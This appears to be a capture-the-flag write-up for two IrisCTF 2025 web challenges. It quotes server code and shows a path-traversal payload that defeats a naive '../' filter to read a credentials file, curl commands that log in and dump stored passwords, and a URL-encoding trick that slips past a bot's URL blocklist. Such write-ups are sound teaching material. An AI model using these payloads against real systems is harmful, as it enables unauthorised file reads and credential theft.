rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

CTF: IRISCTF 2025


image


CHALLENGES-:


WEB


PASSWORD MANAGER


image


Important Code Snippets

type Auth struct {
	User     string `json:"usr"`
	Password string `json:"pwd"`
}
func login(w http.ResponseWriter, r *http.Request) {
	var auth Auth

	if err := json.NewDecoder(r.Body).Decode(&auth); err != nil {
		w.WriteHeader(http.StatusBadRequest)
		w.Write([]byte("Invalid request!"))
		return
	}

	if !validateLogin(auth.User, auth.Password) {
		w.WriteHeader(http.StatusUnauthorized)
		w.Write([]byte("Invalid password!"))
		return
	}

	authJson, err := json.Marshal(auth)
	if err != nil {
		w.WriteHeader(http.StatusInternalServerError)
		w.Write([]byte("Error occurred! (this should not happen, please open a ticket!)"))
		return
	}

	http.SetCookie(w, &http.Cookie{
		Name:  "auth",
		Value: base64.RawStdEncoding.EncodeToString(authJson),
	})
	w.Write([]byte("{}"))
}
// Initialize users var
	file, err := os.Open("./users.json")
	if err != nil {
		fmt.Printf("Error reading users.json: %v\n", err)
		return
	}

	if err := json.NewDecoder(file).Decode(&users); err != nil {
		fmt.Printf("Error reading users.json: %v\n", err)
		return
	}
func pages(w http.ResponseWriter, r *http.Request) {
	// You. Shall. Not. Path traverse!
	path := PathReplacer.Replace(r.URL.Path)

	if path == "/" {
		homepage(w, r)
		return
	}

	if path == "/login" {
		login(w, r)
		return
	}

	if path == "/getpasswords" {
		getpasswords(w, r)
		return
	}

	fullPath := "./pages" + path

	if _, err := os.Stat(fullPath); os.IsNotExist(err) {
		notfound(w, r)
		return
	}

	http.ServeFile(w, r, fullPath)
}

Path Replacer func-:

var PathReplacer = strings.NewReplacer(
	"../", "",
)

Exploitation-:

❯ curl --path-as-is https://password-manager-web.chal.irisc.tf/....//users.json
{
    "skat": "rf=easy-its+just&spicysines123!@"
}
❯ curl https://password-manager-web.chal.irisc.tf/login -H "Content-Type: application/json" -d '{"usr":"skat","pwd":"rf=easy-its+just&spicysines123!@"}' -v
* Host password-manager-web.chal.irisc.tf:443 was resolved.
* IPv6: (none)
* IPv4: 34.32.139.120
*   Trying 34.32.139.120:443...
* GnuTLS ciphers: NORMAL:-ARCFOUR-128:-CTYPE-ALL:+CTYPE-X509:-VERS-SSL3.0
* ALPN: curl offers h2,http/1.1
* found 146 certificates in /etc/ssl/certs/ca-certificates.crt
* found 440 certificates in /etc/ssl/certs
* SSL connection using TLS1.3 / ECDHE_RSA_AES_256_GCM_SHA384
*   server certificate verification OK
*   server certificate status verification SKIPPED
*   common name: *.chal.irisc.tf (matched)
*   server certificate expiration date OK
*   server certificate activation date OK
*   certificate public key: RSA
*   certificate version: #3
*   subject: CN=*.chal.irisc.tf
*   start date: Fri, 27 Dec 2024 22:43:12 GMT
*   expire date: Thu, 27 Mar 2025 22:43:11 GMT
*   issuer: C=US,O=Let's Encrypt,CN=R10
* ALPN: server accepted h2
* Connected to password-manager-web.chal.irisc.tf (34.32.139.120) port 443
* using HTTP/2
* [HTTP/2] [1] OPENED stream for https://password-manager-web.chal.irisc.tf/login
* [HTTP/2] [1] [:method: POST]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority: password-manager-web.chal.irisc.tf]
* [HTTP/2] [1] [:path: /login]
* [HTTP/2] [1] [user-agent: curl/8.11.0]
* [HTTP/2] [1] [accept: */*]
* [HTTP/2] [1] [content-type: application/json]
* [HTTP/2] [1] [content-length: 55]
> POST /login HTTP/2
> Host: password-manager-web.chal.irisc.tf
> User-Agent: curl/8.11.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 55
> 
* upload completely sent off: 55 bytes
< HTTP/2 200 
< date: Sat, 04 Jan 2025 07:17:12 GMT
< content-type: text/plain; charset=utf-8
< content-length: 2
< set-cookie: auth=eyJ1c3IiOiJza2F0IiwicHdkIjoicmY9ZWFzeS1pdHMranVzdFx1MDAyNnNwaWN5c2luZXMxMjMhQCJ9
< strict-transport-security: max-age=31536000; includeSubDomains
< 
* Connection #0 to host password-manager-web.chal.irisc.tf left intact
❯ curl https://password-manager-web.chal.irisc.tf/getpasswords -H "Cookie: auth=eyJ1c3IiOiJza2F0IiwicHdkIjoicmY9ZWFzeS1pdHMranVzdFx1MDAyNnNwaWN5c2luZXMxMjMhQCJ9"
[{"Password":"mypasswordisskat","Title":"Discord","URL":"https://example.com","Username":"skat@skat.skat"},{"Password":"irisctf{l00k5_l1k3_w3_h4v3_70_t34ch_sk47_h0w_70_r3m3mb3r_s7uff}","Title":"RF-Quabber Forum","URL":"https://example.com","Username":"skat"},{"Password":"this-isnt-a-real-password","Title":"Iris CTF","URL":"https://2025.irisc.tf","Username":"skat"}]

POLITICAL


image


image


Explaining the routes in chal.py


from flask import Flask, request, send_file
import secrets

app = Flask(__name__)
FLAG = "irisctf{testflag}"
ADMIN = "redacted"

valid_tokens = {}

@app.route("/")
def index():
    return send_file("index.html")

@app.route("/giveflag")
def hello_world():
    if "token" not in request.args or "admin" not in request.cookies:
        return "Who are you?"

    token = request.args["token"]
    admin = request.cookies["admin"]
    if token not in valid_tokens or admin != ADMIN:
        return "Why are you?"

    valid_tokens[token] = True
    return "GG"

@app.route("/token")
def tok():
    token = secrets.token_hex(16)
    valid_tokens[token] = False
    return token

@app.route("/redeem", methods=["POST"])
def redeem():
    if "token" not in request.form:
        return "Give me token"

    token = request.form["token"]
    if token not in valid_tokens or valid_tokens[token] != True:
        return "Nice try."

    return FLAG
@app.route("/giveflag")
def hello_world():
    if "token" not in request.args or "admin" not in request.cookies:
        return "Who are you?"

    token = request.args["token"]
    admin = request.cookies["admin"]
    if token not in valid_tokens or admin != ADMIN:
        return "Why are you?"

    valid_tokens[token] = True
    return "GG"
@app.route("/token")
def tok():
    token = secrets.token_hex(16)
    valid_tokens[token] = False
    return token
@app.route("/redeem", methods=["POST"])
def redeem():
    if "token" not in request.form:
        return "Give me token"

    token = request.form["token"]
    if token not in valid_tokens or valid_tokens[token] != True:
        return "Nice try."

    return FLAG

Explaining the bot code


{
	"URLBlocklist": ["*/giveflag", "*?token=*"]
}
 if (!url.startsWith('http://localhost:1337/') && !url.startsWith('https://localhost:1337/')) {
      socket.state = 'ERROR';
      socket.write('Invalid URL (must start with http:// or https://).\n');
      socket.destroy();
      return;
    }
    socket.state = 'LOADED';
    let cookie = JSON.parse(fs.readFileSync('/home/user/cookie'));
# Note about cookie

The challenge bot has its cookie set on `https://political-web.chal.irisc.tf`.
{
  "name": "admin",
  "value": "redacted",
  "domain": "localhost:1337",
  "url": "http://localhost:1337/",
  "path": "/",
  "httpOnly": true,
  "secure": true
}

EXPLOITATION


https://political-web.chal.irisc.tf/give%66lag?%74oken=<token>

image

image

❯ curl https://political-web.chal.irisc.tf/redeem -d "token=501ad20a1ebe705cad85011197db3920"
irisctf{flag_blocked_by_admin}

THANKS FOR READING